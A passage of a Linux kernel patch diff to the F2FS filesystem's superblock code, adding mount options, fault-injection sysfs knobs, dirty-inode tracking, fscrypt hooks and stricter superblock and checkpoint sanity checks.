+#ifdef CONFIG_F2FS_FAULT_INJECTION + else if (struct_type == FAULT_INFO_RATE || + struct_type == FAULT_INFO_TYPE) + return (unsigned char *)&sbi->fault_info; +#endif return NULL; } +static ssize_t lifetime_write_kbytes_show(struct f2fs_attr *a, + struct f2fs_sb_info *sbi, char *buf) +{ + struct super_block *sb = sbi->sb; + + if (!sb->s_bdev->bd_part) + return snprintf(buf, PAGE_SIZE, "0\n"); + + return snprintf(buf, PAGE_SIZE, "%llu\n", + (unsigned long long)(sbi->kbytes_written + + BD_PART_WRITTEN(sbi))); +} + static ssize_t f2fs_sbi_show(struct f2fs_attr *a, struct f2fs_sb_info *sbi, char *buf) { @@ -156,6 +219,10 @@ static ssize_t f2fs_sbi_store(struct f2fs_attr *a, ret = kstrtoul(skip_spaces(buf), 0, &t); if (ret < 0) return ret; +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (a->struct_type == FAULT_INFO_TYPE && t >= (1 << FAULT_MAX)) + return -EINVAL; +#endif *ui = t; return count; } @@ -201,6 +268,9 @@ static struct f2fs_attr f2fs_attr_##_name = { \ f2fs_sbi_show, f2fs_sbi_store, \ offsetof(struct struct_name, elname)) +#define F2FS_GENERAL_RO_ATTR(name) \ +static struct f2fs_attr f2fs_attr_##name = __ATTR(name, 0444, name##_show, NULL) + F2FS_RW_ATTR(GC_THREAD, f2fs_gc_kthread, gc_min_sleep_time, min_sleep_time); F2FS_RW_ATTR(GC_THREAD, f2fs_gc_kthread, gc_max_sleep_time, max_sleep_time); F2FS_RW_ATTR(GC_THREAD, f2fs_gc_kthread, gc_no_gc_sleep_time, no_gc_sleep_time); @@ -213,9 +283,16 @@ F2FS_RW_ATTR(SM_INFO, f2fs_sm_info, min_ipu_util, min_ipu_util); F2FS_RW_ATTR(SM_INFO, f2fs_sm_info, min_fsync_blocks, min_fsync_blocks); F2FS_RW_ATTR(NM_INFO, f2fs_nm_info, ram_thresh, ram_thresh); F2FS_RW_ATTR(NM_INFO, f2fs_nm_info, ra_nid_pages, ra_nid_pages); +F2FS_RW_ATTR(NM_INFO, f2fs_nm_info, dirty_nats_ratio, dirty_nats_ratio); F2FS_RW_ATTR(F2FS_SBI, f2fs_sb_info, max_victim_search, max_victim_search); F2FS_RW_ATTR(F2FS_SBI, f2fs_sb_info, dir_level, dir_level); -F2FS_RW_ATTR(F2FS_SBI, f2fs_sb_info, cp_interval, cp_interval); +F2FS_RW_ATTR(F2FS_SBI, f2fs_sb_info, cp_interval, interval_time[CP_TIME]); +F2FS_RW_ATTR(F2FS_SBI, f2fs_sb_info, idle_interval, interval_time[REQ_TIME]); +#ifdef CONFIG_F2FS_FAULT_INJECTION +F2FS_RW_ATTR(FAULT_INFO_RATE, f2fs_fault_info, inject_rate, inject_rate); +F2FS_RW_ATTR(FAULT_INFO_TYPE, f2fs_fault_info, inject_type, inject_type); +#endif +F2FS_GENERAL_RO_ATTR(lifetime_write_kbytes); #define ATTR_LIST(name) (&f2fs_attr_##name.attr) static struct attribute *f2fs_attrs[] = { @@ -233,7 +310,14 @@ static struct attribute *f2fs_attrs[] = { ATTR_LIST(dir_level), ATTR_LIST(ram_thresh), ATTR_LIST(ra_nid_pages), + ATTR_LIST(dirty_nats_ratio), ATTR_LIST(cp_interval), + ATTR_LIST(idle_interval), +#ifdef CONFIG_F2FS_FAULT_INJECTION + ATTR_LIST(inject_rate), + ATTR_LIST(inject_type), +#endif + ATTR_LIST(lifetime_write_kbytes), NULL, }; @@ -323,12 +407,20 @@ static int parse_options(struct super_block *sb, char *options) q = bdev_get_queue(sb->s_bdev); if (blk_queue_discard(q)) { set_opt(sbi, DISCARD); - } else { + } else if (!f2fs_sb_mounted_blkzoned(sb)) { f2fs_msg(sb, KERN_WARNING, "mounting with \"discard\" option, but " "the device does not support discard"); } break; + case Opt_nodiscard: + if (f2fs_sb_mounted_blkzoned(sb)) { + f2fs_msg(sb, KERN_WARNING, + "discard is required for zoned block devices"); + return -EINVAL; + } + clear_opt(sbi, DISCARD); + break; case Opt_noheap: set_opt(sbi, NOHEAP); break; @@ -387,9 +479,15 @@ static int parse_options(struct super_block *sb, char *options) case Opt_inline_dentry: set_opt(sbi, INLINE_DENTRY); break; + case Opt_noinline_dentry: + clear_opt(sbi, INLINE_DENTRY); + break; case Opt_flush_merge: set_opt(sbi, FLUSH_MERGE); break; + case Opt_noflush_merge: + clear_opt(sbi, FLUSH_MERGE); + break; case Opt_nobarrier: set_opt(sbi, NOBARRIER); break; @@ -405,6 +503,43 @@ static int parse_options(struct super_block *sb, char *options) case Opt_noinline_data: clear_opt(sbi, INLINE_DATA); break; + case Opt_data_flush: + set_opt(sbi, DATA_FLUSH); + break; + case Opt_mode: + name = match_strdup(&args[0]); + + if (!name) + return -ENOMEM; + if (strlen(name) == 8 && + !strncmp(name, "adaptive", 8)) { + if (f2fs_sb_mounted_blkzoned(sb)) { + f2fs_msg(sb, KERN_WARNING, + "adaptive mode is not allowed with " + "zoned block device feature"); + kfree(name); + return -EINVAL; + } + set_opt_mode(sbi, F2FS_MOUNT_ADAPTIVE); + } else if (strlen(name) == 3 && + !strncmp(name, "lfs", 3)) { + set_opt_mode(sbi, F2FS_MOUNT_LFS); + } else { + kfree(name); + return -EINVAL; + } + kfree(name); + break; + case Opt_fault_injection: + if (args->from && match_int(args, &arg)) + return -EINVAL; +#ifdef CONFIG_F2FS_FAULT_INJECTION + f2fs_build_fault_attr(sbi, arg); +#else + f2fs_msg(sb, KERN_INFO, + "FAULT_INJECTION was not selected"); +#endif + break; default: f2fs_msg(sb, KERN_ERR, "Unrecognized mount option \"%s\" or missing value", @@ -425,26 +560,25 @@ static struct inode *f2fs_alloc_inode(struct super_block *sb) init_once((void *) fi); + if (percpu_counter_init(&fi->dirty_pages, 0)) { + kmem_cache_free(f2fs_inode_cachep, fi); + return NULL; + } + /* Initialize f2fs-specific inode info */ fi->vfs_inode.i_version = 1; - atomic_set(&fi->dirty_pages, 0); fi->i_current_depth = 1; fi->i_advise = 0; init_rwsem(&fi->i_sem); + INIT_LIST_HEAD(&fi->dirty_list); + INIT_LIST_HEAD(&fi->gdirty_list); INIT_LIST_HEAD(&fi->inmem_pages); mutex_init(&fi->inmem_lock); - - set_inode_flag(fi, FI_NEW_INODE); - - if (test_opt(F2FS_SB(sb), INLINE_XATTR)) - set_inode_flag(fi, FI_INLINE_XATTR); + init_rwsem(&fi->dio_rwsem[READ]); + init_rwsem(&fi->dio_rwsem[WRITE]); /* Will be used by directory only */ fi->i_dir_level = F2FS_SB(sb)->dir_level; - -#ifdef CONFIG_F2FS_FS_ENCRYPTION - fi->i_crypt_info = NULL; -#endif return &fi->vfs_inode; } @@ -457,7 +591,7 @@ static int f2fs_drop_inode(struct inode *inode) * - f2fs_gc -> iput -> evict * - inode_wait_for_writeback(inode) */ - if (!inode_unhashed(inode) && inode->i_state & I_SYNC) { + if ((!inode_unhashed(inode) && inode->i_state & I_SYNC)) { if (!inode->i_nlink && !is_bad_inode(inode)) { /* to avoid evict_inode call simultaneously */ atomic_inc(&inode->i_count); @@ -465,32 +599,69 @@ static int f2fs_drop_inode(struct inode *inode) /* some remained atomic pages should discarded */ if (f2fs_is_atomic_file(inode)) - commit_inmem_pages(inode, true); + drop_inmem_pages(inode); /* should remain fi->extent_tree for writepage */ f2fs_destroy_extent_node(inode); sb_start_intwrite(inode->i_sb); - i_size_write(inode, 0); + f2fs_i_size_write(inode, 0); if (F2FS_HAS_BLOCKS(inode)) - f2fs_truncate(inode, true); + f2fs_truncate(inode); sb_end_intwrite(inode->i_sb); -#ifdef CONFIG_F2FS_FS_ENCRYPTION - if (F2FS_I(inode)->i_crypt_info) - f2fs_free_encryption_info(inode, - F2FS_I(inode)->i_crypt_info); -#endif + fscrypt_put_encryption_info(inode, NULL); spin_lock(&inode->i_lock); atomic_dec(&inode->i_count); } return 0; } + return generic_drop_inode(inode); } +int f2fs_inode_dirtied(struct inode *inode, bool sync) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + int ret = 0; + + spin_lock(&sbi->inode_lock[DIRTY_META]); + if (is_inode_flag_set(inode, FI_DIRTY_INODE)) { + ret = 1; + } else { + set_inode_flag(inode, FI_DIRTY_INODE); + stat_inc_dirty_inode(sbi, DIRTY_META); + } + if (sync && list_empty(&F2FS_I(inode)->gdirty_list)) { + list_add_tail(&F2FS_I(inode)->gdirty_list, + &sbi->inode_list[DIRTY_META]); + inc_page_count(sbi, F2FS_DIRTY_IMETA); + } + spin_unlock(&sbi->inode_lock[DIRTY_META]); + return ret; +} + +void f2fs_inode_synced(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + + spin_lock(&sbi->inode_lock[DIRTY_META]); + if (!is_inode_flag_set(inode, FI_DIRTY_INODE)) { + spin_unlock(&sbi->inode_lock[DIRTY_META]); + return; + } + if (!list_empty(&F2FS_I(inode)->gdirty_list)) { + list_del_init(&F2FS_I(inode)->gdirty_list); + dec_page_count(sbi, F2FS_DIRTY_IMETA); + } + clear_inode_flag(inode, FI_DIRTY_INODE); + clear_inode_flag(inode, FI_AUTO_RECOVER); + stat_dec_dirty_inode(F2FS_I_SB(inode), DIRTY_META); + spin_unlock(&sbi->inode_lock[DIRTY_META]); +} + /* * f2fs_dirty_inode() is called from __mark_inode_dirty() * @@ -498,7 +669,16 @@ static int f2fs_drop_inode(struct inode *inode) */ static void f2fs_dirty_inode(struct inode *inode, int flags) { - set_inode_flag(F2FS_I(inode), FI_DIRTY_INODE); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + + if (inode->i_ino == F2FS_NODE_INO(sbi) || + inode->i_ino == F2FS_META_INO(sbi)) + return; + + if (is_inode_flag_set(inode, FI_AUTO_RECOVER)) + clear_inode_flag(inode, FI_AUTO_RECOVER); + + f2fs_inode_dirtied(inode, false); } static void f2fs_i_callback(struct rcu_head *head) @@ -509,15 +689,36 @@ static void f2fs_i_callback(struct rcu_head *head) static void f2fs_destroy_inode(struct inode *inode) { + percpu_counter_destroy(&F2FS_I(inode)->dirty_pages); call_rcu(&inode->i_rcu, f2fs_i_callback); } +static void destroy_percpu_info(struct f2fs_sb_info *sbi) +{ + percpu_counter_destroy(&sbi->alloc_valid_block_count); + percpu_counter_destroy(&sbi->total_valid_inode_count); +} + +static void destroy_device_list(struct f2fs_sb_info *sbi) +{ + int i; + + for (i = 0; i < sbi->s_ndevs; i++) { + blkdev_put(FDEV(i).bdev, FMODE_EXCL); +#ifdef CONFIG_BLK_DEV_ZONED + kfree(FDEV(i).blkz_type); +#endif + } + kfree(sbi->devs); +} + static void f2fs_put_super(struct super_block *sb) { struct f2fs_sb_info *sbi = F2FS_SB(sb); if (sbi->s_proc) { remove_proc_entry("segment_info", sbi->s_proc); + remove_proc_entry("segment_bits", sbi->s_proc); remove_proc_entry(sb->s_id, f2fs_proc_root); } kobject_del(&sbi->s_kobj); @@ -533,7 +734,7 @@ static void f2fs_put_super(struct super_block *sb) * clean checkpoint again. */ if (is_sbi_flag_set(sbi, SBI_IS_DIRTY) || - !is_set_ckpt_flags(F2FS_CKPT(sbi), CP_UMOUNT_FLAG)) { + !is_set_ckpt_flags(sbi, CP_UMOUNT_FLAG)) { struct cp_control cpc = { .reason = CP_UMOUNT, }; @@ -547,12 +748,14 @@ static void f2fs_put_super(struct super_block *sb) * normally superblock is clean, so we need to release this. * In addition, EIO will skip do checkpoint, we need this as well. */ - release_dirty_inode(sbi); - release_discard_addrs(sbi); + release_ino_entry(sbi, true); f2fs_leave_shrinker(sbi); mutex_unlock(&sbi->umount_mutex); + /* our cp_error case, we can wait for any writeback page */ + f2fs_flush_merged_bios(sbi); + iput(sbi->node_inode); iput(sbi->meta_inode); @@ -565,13 +768,20 @@ static void f2fs_put_super(struct super_block *sb) wait_for_completion(&sbi->s_kobj_unregister); sb->s_fs_info = NULL; - brelse(sbi->raw_super_buf); + if (sbi->s_chksum_driver) + crypto_free_shash(sbi->s_chksum_driver); + kfree(sbi->raw_super); + + destroy_device_list(sbi); + + destroy_percpu_info(sbi); kfree(sbi); } int f2fs_sync_fs(struct super_block *sb, int sync) { struct f2fs_sb_info *sbi = F2FS_SB(sb); + int err = 0; trace_f2fs_sync_fs(sb, sync); @@ -581,25 +791,27 @@ int f2fs_sync_fs(struct super_block *sb, int sync) cpc.reason = __get_cp_reason(sbi); mutex_lock(&sbi->gc_mutex); - write_checkpoint(sbi, &cpc); + err = write_checkpoint(sbi, &cpc); mutex_unlock(&sbi->gc_mutex); - } else { - f2fs_balance_fs(sbi); } f2fs_trace_ios(NULL, 1); - return 0; + return err; } static int f2fs_freeze(struct super_block *sb) { - int err; - if (f2fs_readonly(sb)) return 0; - err = f2fs_sync_fs(sb, 1); - return err; + /* IO error happened before */ + if (unlikely(f2fs_cp_error(F2FS_SB(sb)))) + return -EIO; + + /* must be clean, since sync_filesystem() was already called */ + if (is_sbi_flag_set(F2FS_SB(sb), SBI_IS_DIRTY)) + return -EINVAL; + return 0; } static int f2fs_unfreeze(struct super_block *sb) @@ -622,11 +834,12 @@ static int f2fs_statfs(struct dentry *dentry, struct kstatfs *buf) buf->f_bsize = sbi->blocksize; buf->f_blocks = total_count - start_count; - buf->f_bfree = buf->f_blocks - valid_user_blocks(sbi) - ovp_count; + buf->f_bfree = user_block_count - valid_user_blocks(sbi) + ovp_count; buf->f_bavail = user_block_count - valid_user_blocks(sbi); buf->f_files = sbi->total_node_count - F2FS_RESERVED_NODE_NUM; - buf->f_ffree = buf->f_files - valid_inode_count(sbi); + buf->f_ffree = min(buf->f_files - valid_node_count(sbi), + buf->f_bavail); buf->f_namelen = F2FS_NAME_LEN; buf->f_fsid.val[0] = (u32)id; @@ -675,6 +888,8 @@ static int f2fs_show_options(struct seq_file *seq, struct dentry *root) seq_puts(seq, ",noinline_data"); if (test_opt(sbi, INLINE_DENTRY)) seq_puts(seq, ",inline_dentry"); + else + seq_puts(seq, ",noinline_dentry"); if (!f2fs_readonly(sbi->sb) && test_opt(sbi, FLUSH_MERGE)) seq_puts(seq, ",flush_merge"); if (test_opt(sbi, NOBARRIER)) @@ -685,6 +900,14 @@ static int f2fs_show_options(struct seq_file *seq, struct dentry *root) seq_puts(seq, ",extent_cache"); else seq_puts(seq, ",noextent_cache"); + if (test_opt(sbi, DATA_FLUSH)) + seq_puts(seq, ",data_flush"); + + seq_puts(seq, ",mode="); + if (test_opt(sbi, ADAPTIVE)) + seq_puts(seq, "adaptive"); + else if (test_opt(sbi, LFS)) + seq_puts(seq, "lfs"); seq_printf(seq, ",active_logs=%u", sbi->active_logs); return 0; @@ -717,19 +940,47 @@ static int segment_info_seq_show(struct seq_file *seq, void *offset) return 0; } -static int segment_info_open_fs(struct inode *inode, struct file *file) +static int segment_bits_seq_show(struct seq_file *seq, void *offset) { - return single_open(file, segment_info_seq_show, PDE_DATA(inode)); + struct super_block *sb = seq->private; + struct f2fs_sb_info *sbi = F2FS_SB(sb); + unsigned int total_segs = + le32_to_cpu(sbi->raw_super->segment_count_main); + int i, j; + + seq_puts(seq, "format: segment_type|valid_blocks|bitmaps\n" + "segment_type(0:HD, 1:WD, 2:CD, 3:HN, 4:WN, 5:CN)\n"); + + for (i = 0; i < total_segs; i++) { + struct seg_entry *se = get_seg_entry(sbi, i); + + seq_printf(seq, "%-10d", i); + seq_printf(seq, "%d|%-3u|", se->type, + get_valid_blocks(sbi, i, 1)); + for (j = 0; j < SIT_VBLOCK_MAP_SIZE; j++) + seq_printf(seq, " %.2x", se->cur_valid_map[j]); + seq_putc(seq, '\n'); + } + return 0; } -static const struct file_operations f2fs_seq_segment_info_fops = { - .owner = THIS_MODULE, - .open = segment_info_open_fs, - .read = seq_read, - .llseek = seq_lseek, - .release = single_release, +#define F2FS_PROC_FILE_DEF(_name) \ +static int _name##_open_fs(struct inode *inode, struct file *file) \ +{ \ + return single_open(file, _name##_seq_show, PDE_DATA(inode)); \ +} \ + \ +static const struct file_operations f2fs_seq_##_name##_fops = { \ + .owner = THIS_MODULE, \ + .open = _name##_open_fs, \ + .read = seq_read, \ + .llseek = seq_lseek, \ + .release = single_release, \ }; +F2FS_PROC_FILE_DEF(segment_info); +F2FS_PROC_FILE_DEF(segment_bits); + static void default_options(struct f2fs_sb_info *sbi) { /* init some FS parameters */ @@ -737,7 +988,15 @@ static void default_options(struct f2fs_sb_info *sbi) set_opt(sbi, BG_GC); set_opt(sbi, INLINE_DATA); + set_opt(sbi, INLINE_DENTRY); set_opt(sbi, EXTENT_CACHE); + set_opt(sbi, FLUSH_MERGE); + if (f2fs_sb_mounted_blkzoned(sbi->sb)) { + set_opt_mode(sbi, F2FS_MOUNT_LFS); + set_opt(sbi, DISCARD); + } else { + set_opt_mode(sbi, F2FS_MOUNT_ADAPTIVE); + } #ifdef CONFIG_F2FS_FS_XATTR set_opt(sbi, XATTR_USER); @@ -745,6 +1004,10 @@ static void default_options(struct f2fs_sb_info *sbi) #ifdef CONFIG_F2FS_FS_POSIX_ACL set_opt(sbi, POSIX_ACL); #endif + +#ifdef CONFIG_F2FS_FAULT_INJECTION + f2fs_build_fault_attr(sbi, 0); +#endif } static int f2fs_remount(struct super_block *sb, int *flags, char *data) @@ -755,8 +1018,9 @@ static int f2fs_remount(struct super_block *sb, int *flags, char *data) bool need_restart_gc = false; bool need_stop_gc = false; bool no_extent_cache = !test_opt(sbi, EXTENT_CACHE); - - sync_filesystem(sb); +#ifdef CONFIG_F2FS_FAULT_INJECTION + struct f2fs_fault_info ffi = sbi->fault_info; +#endif /* * Save the old mount options in case we @@ -765,6 +1029,15 @@ static int f2fs_remount(struct super_block *sb, int *flags, char *data) org_mount_opt = sbi->mount_opt; active_logs = sbi->active_logs; + /* recover superblocks we couldn't write due to previous RO mount */ + if (!(*flags & MS_RDONLY) && is_sbi_flag_set(sbi, SBI_NEED_SB_WRITE)) { + err = f2fs_commit_super(sbi, false); + f2fs_msg(sb, KERN_INFO, + "Try to recover all the superblocks, ret: %d", err); + if (!err) + clear_sbi_flag(sbi, SBI_NEED_SB_WRITE); + } + sbi->mount_opt.opt = 0; default_options(sbi); @@ -796,7 +1069,6 @@ static int f2fs_remount(struct super_block *sb, int *flags, char *data) if ((*flags & MS_RDONLY) || !test_opt(sbi, BG_GC)) { if (sbi->gc_thread) { stop_gc_thread(sbi); - f2fs_sync_fs(sb, 1); need_restart_gc = true; } } else if (!sbi->gc_thread) { @@ -806,21 +1078,33 @@ static int f2fs_remount(struct super_block *sb, int *flags, char *data) need_stop_gc = true; } + if (*flags & MS_RDONLY) { + writeback_inodes_sb(sb, WB_REASON_SYNC); + sync_inodes_sb(sb); + + set_sbi_flag(sbi, SBI_IS_DIRTY); + set_sbi_flag(sbi, SBI_IS_CLOSE); + f2fs_sync_fs(sb, 1); + clear_sbi_flag(sbi, SBI_IS_CLOSE); + } + /* * We stop issue flush thread if FS is mounted as RO * or if flush_merge is not passed in mount option. */ if ((*flags & MS_RDONLY) || !test_opt(sbi, FLUSH_MERGE)) { - destroy_flush_cmd_control(sbi); - } else if (!SM_I(sbi)->cmd_control_info) { + clear_opt(sbi, FLUSH_MERGE); + destroy_flush_cmd_control(sbi, false); + } else { err = create_flush_cmd_control(sbi); if (err) goto restore_gc; } skip: /* Update the POSIXACL Flag */ - sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | + sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | (test_opt(sbi, POSIX_ACL) ? MS_POSIXACL : 0); + return 0; restore_gc: if (need_restart_gc) { @@ -833,6 +1117,9 @@ static int f2fs_remount(struct super_block *sb, int *flags, char *data) restore_opts: sbi->mount_opt = org_mount_opt; sbi->active_logs = active_logs; +#ifdef CONFIG_F2FS_FAULT_INJECTION + sbi->fault_info = ffi; +#endif return err; } @@ -852,6 +1139,48 @@ static struct super_operations f2fs_sops = { .remount_fs = f2fs_remount, }; +#ifdef CONFIG_F2FS_FS_ENCRYPTION +static int f2fs_get_context(struct inode *inode, void *ctx, size_t len) +{ + return f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, + F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, + ctx, len, NULL); +} + +static int f2fs_key_prefix(struct inode *inode, u8 **key) +{ + *key = F2FS_I_SB(inode)->key_prefix; + return F2FS_I_SB(inode)->key_prefix_size; +} + +static int f2fs_set_context(struct inode *inode, const void *ctx, size_t len, + void *fs_data) +{ + return f2fs_setxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, + F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, + ctx, len, fs_data, XATTR_CREATE); +} + +static unsigned f2fs_max_namelen(struct inode *inode) +{ + return S_ISLNK(inode->i_mode) ? + inode->i_sb->s_blocksize : F2FS_NAME_LEN; +} + +static struct fscrypt_operations f2fs_cryptops = { + .get_context = f2fs_get_context, + .key_prefix = f2fs_key_prefix, + .set_context = f2fs_set_context, + .is_encrypted = f2fs_encrypted_inode, + .empty_dir = f2fs_empty_dir, + .max_namelen = f2fs_max_namelen, +}; +#else +static struct fscrypt_operations f2fs_cryptops = { + .is_encrypted = f2fs_encrypted_inode, +}; +#endif + static struct inode *f2fs_nfs_get_inode(struct super_block *sb, u64 ino, u32 generation) { @@ -897,7 +1226,7 @@ static const struct export_operations f2fs_export_ops = { .get_parent = f2fs_get_parent, }; -static loff_t max_file_size(unsigned bits) +static loff_t max_file_blocks(void) { loff_t result = (DEF_ADDRS_PER_INODE - F2FS_INLINE_XATTR_ADDRS); loff_t leaf_count = ADDRS_PER_BLOCK; @@ -913,13 +1242,131 @@ static loff_t max_file_size(unsigned bits) leaf_count *= NIDS_PER_BLOCK; result += leaf_count; - result <<= bits; return result; } -static int sanity_check_raw_super(struct super_block *sb, - struct f2fs_super_block *raw_super) +static int __f2fs_commit_super(struct buffer_head *bh, + struct f2fs_super_block *super) { + lock_buffer(bh); + if (super) + memcpy(bh->b_data + F2FS_SUPER_OFFSET, super, sizeof(*super)); + set_buffer_uptodate(bh); + set_buffer_dirty(bh); + unlock_buffer(bh); + + /* it's rare case, we can do fua all the time */ + return __sync_dirty_buffer(bh, WRITE_FLUSH_FUA); +} + +static inline bool sanity_check_area_boundary(struct f2fs_sb_info *sbi, + struct buffer_head *bh) +{ + struct f2fs_super_block *raw_super = (struct f2fs_super_block *) + (bh->b_data + F2FS_SUPER_OFFSET); + struct super_block *sb = sbi->sb; + u32 segment0_blkaddr = le32_to_cpu(raw_super->segment0_blkaddr); + u32 cp_blkaddr = le32_to_cpu(raw_super->cp_blkaddr); + u32 sit_blkaddr = le32_to_cpu(raw_super->sit_blkaddr); + u32 nat_blkaddr = le32_to_cpu(raw_super->nat_blkaddr); + u32 ssa_blkaddr = le32_to_cpu(raw_super->ssa_blkaddr); + u32 main_blkaddr = le32_to_cpu(raw_super->main_blkaddr); + u32 segment_count_ckpt = le32_to_cpu(raw_super->segment_count_ckpt); + u32 segment_count_sit = le32_to_cpu(raw_super->segment_count_sit); + u32 segment_count_nat = le32_to_cpu(raw_super->segment_count_nat); + u32 segment_count_ssa = le32_to_cpu(raw_super->segment_count_ssa); + u32 segment_count_main = le32_to_cpu(raw_super->segment_count_main); + u32 segment_count = le32_to_cpu(raw_super->segment_count); + u32 log_blocks_per_seg = le32_to_cpu(raw_super->log_blocks_per_seg); + u64 main_end_blkaddr = main_blkaddr + + (segment_count_main << log_blocks_per_seg); + u64 seg_end_blkaddr = segment0_blkaddr + + (segment_count << log_blocks_per_seg); + + if (segment0_blkaddr != cp_blkaddr) { + f2fs_msg(sb, KERN_INFO, + "Mismatch start address, segment0(%u) cp_blkaddr(%u)", + segment0_blkaddr, cp_blkaddr); + return true; + } + + if (cp_blkaddr + (segment_count_ckpt << log_blocks_per_seg) != + sit_blkaddr) { + f2fs_msg(sb, KERN_INFO, + "Wrong CP boundary, start(%u) end(%u) blocks(%u)", + cp_blkaddr, sit_blkaddr, + segment_count_ckpt << log_blocks_per_seg); + return true; + } + + if (sit_blkaddr + (segment_count_sit << log_blocks_per_seg) != + nat_blkaddr) { + f2fs_msg(sb, KERN_INFO, + "Wrong SIT boundary, start(%u) end(%u) blocks(%u)", + sit_blkaddr, nat_blkaddr, + segment_count_sit << log_blocks_per_seg); + return true; + } + + if (nat_blkaddr + (segment_count_nat << log_blocks_per_seg) != + ssa_blkaddr) { + f2fs_msg(sb, KERN_INFO, + "Wrong NAT boundary, start(%u) end(%u) blocks(%u)", + nat_blkaddr, ssa_blkaddr, + segment_count_nat << log_blocks_per_seg); + return true; + } + + if (ssa_blkaddr + (segment_count_ssa << log_blocks_per_seg) != + main_blkaddr) { + f2fs_msg(sb, KERN_INFO, + "Wrong SSA boundary, start(%u) end(%u) blocks(%u)", + ssa_blkaddr, main_blkaddr, + segment_count_ssa << log_blocks_per_seg); + return true; + } + + if (main_end_blkaddr > seg_end_blkaddr) { + f2fs_msg(sb, KERN_INFO, + "Wrong MAIN_AREA boundary, start(%u) end(%u) block(%u)", + main_blkaddr, + segment0_blkaddr + + (segment_count << log_blocks_per_seg), + segment_count_main << log_blocks_per_seg); + return true; + } else if (main_end_blkaddr < seg_end_blkaddr) { + int err = 0; + char *res; + + /* fix in-memory information all the time */ + raw_super->segment_count = cpu_to_le32((main_end_blkaddr - + segment0_blkaddr) >> log_blocks_per_seg); + + if (f2fs_readonly(sb) || bdev_read_only(sb->s_bdev)) { + set_sbi_flag(sbi, SBI_NEED_SB_WRITE); + res = "internally"; + } else { + err = __f2fs_commit_super(bh, NULL); + res = err ? "failed" : "done"; + } + f2fs_msg(sb, KERN_INFO, + "Fix alignment : %s, start(%u) end(%u) block(%u)", + res, main_blkaddr, + segment0_blkaddr + + (segment_count << log_blocks_per_seg), + segment_count_main << log_blocks_per_seg); + if (err) + return true; + } + return false; +} + +static int sanity_check_raw_super(struct f2fs_sb_info *sbi, + struct buffer_head *bh) +{ + struct f2fs_super_block *raw_super = (struct f2fs_super_block *) + (bh->b_data + F2FS_SUPER_OFFSET); + struct super_block *sb = sbi->sb; unsigned int blocksize; if (F2FS_SUPER_MAGIC != le32_to_cpu(raw_super->magic)) { @@ -930,10 +1377,10 @@ static int sanity_check_raw_super(struct super_block *sb, } /* Currently, support only 4KB page cache size */ - if (F2FS_BLKSIZE != PAGE_CACHE_SIZE) { + if (F2FS_BLKSIZE != PAGE_SIZE) { f2fs_msg(sb, KERN_INFO, "Invalid page_cache_size (%lu), supports only 4KB\n", - PAGE_CACHE_SIZE); + PAGE_SIZE); return 1; } @@ -946,6 +1393,14 @@ static int sanity_check_raw_super(struct super_block *sb, return 1; } + /* check log blocks per segment */ + if (le32_to_cpu(raw_super->log_blocks_per_seg) != 9) { + f2fs_msg(sb, KERN_INFO, + "Invalid log blocks per segment (%u)\n", + le32_to_cpu(raw_super->log_blocks_per_seg)); + return 1; + } + /* Currently, support 512/1024/2048/4096 bytes sector size */ if (le32_to_cpu(raw_super->log_sectorsize) > F2FS_MAX_LOG_SECTOR_SIZE || @@ -964,14 +1419,32 @@ static int sanity_check_raw_super(struct super_block *sb, le32_to_cpu(raw_super->log_sectorsize)); return 1; } + + /* check reserved ino info */ + if (le32_to_cpu(raw_super->node_ino) != 1 || + le32_to_cpu(raw_super->meta_ino) != 2 || + le32_to_cpu(raw_super->root_ino) != 3) { + f2fs_msg(sb, KERN_INFO, + "Invalid Fs Meta Ino: node(%u) meta(%u) root(%u)", + le32_to_cpu(raw_super->node_ino), + le32_to_cpu(raw_super->meta_ino), + le32_to_cpu(raw_super->root_ino)); + return 1; + } + + /* check CP/SIT/NAT/SSA/MAIN_AREA area boundary */ + if (sanity_check_area_boundary(sbi, bh)) + return 1; + return 0; } -static int sanity_check_ckpt(struct f2fs_sb_info *sbi) +int sanity_check_ckpt(struct f2fs_sb_info *sbi) { unsigned int total, fsmeta; struct f2fs_super_block *raw_super = F2FS_RAW_SUPER(sbi); struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); + unsigned int ovp_segments, reserved_segments; total = le32_to_cpu(raw_super->segment_count); fsmeta = le32_to_cpu(raw_super->segment_count_ckpt); @@ -983,6 +1456,16 @@ static int sanity_check_ckpt(struct f2fs_sb_info *sbi) if (unlikely(fsmeta >= total)) return 1; + ovp_segments = le32_to_cpu(ckpt->overprov_segment_count); + reserved_segments = le32_to_cpu(ckpt->rsvd_segment_count); + + if (unlikely(fsmeta < F2FS_MIN_SEGMENTS || + ovp_segments == 0 || reserved_segments == 0)) { + f2fs_msg(sbi->sb, KERN_ERR, + "Wrong layout: check mkfs.f2fs version"); + return 1; + } + if (unlikely(f2fs_cp_error(sbi))) { f2fs_msg(sbi->sb, KERN_ERR, "A bug case: need to run fsck"); return 1; @@ -1013,129 +1496,281 @@ static void init_sb_info(struct f2fs_sb_info *sbi) sbi->cur_victim_sec = NULL_SECNO; sbi->max_victim_search = DEF_MAX_VICTIM_SEARCH; - for (i = 0; i < NR_COUNT_TYPE; i++) - atomic_set(&sbi->nr_pages[i], 0); - sbi->dir_level = DEF_DIR_LEVEL; - sbi->cp_interval = DEF_CP_INTERVAL; + sbi->interval_time[CP_TIME] = DEF_CP_INTERVAL; + sbi->interval_time[REQ_TIME] = DEF_IDLE_INTERVAL; clear_sbi_flag(sbi, SBI_NEED_FSCK); + for (i = 0; i < NR_COUNT_TYPE; i++) + atomic_set(&sbi->nr_pages[i], 0); + INIT_LIST_HEAD(&sbi->s_list); mutex_init(&sbi->umount_mutex); + mutex_init(&sbi->wio_mutex[NODE]); + mutex_init(&sbi->wio_mutex[DATA]); + spin_lock_init(&sbi->cp_lock); + +#ifdef CONFIG_F2FS_FS_ENCRYPTION + memcpy(sbi->key_prefix, F2FS_KEY_DESC_PREFIX, + F2FS_KEY_DESC_PREFIX_SIZE); + 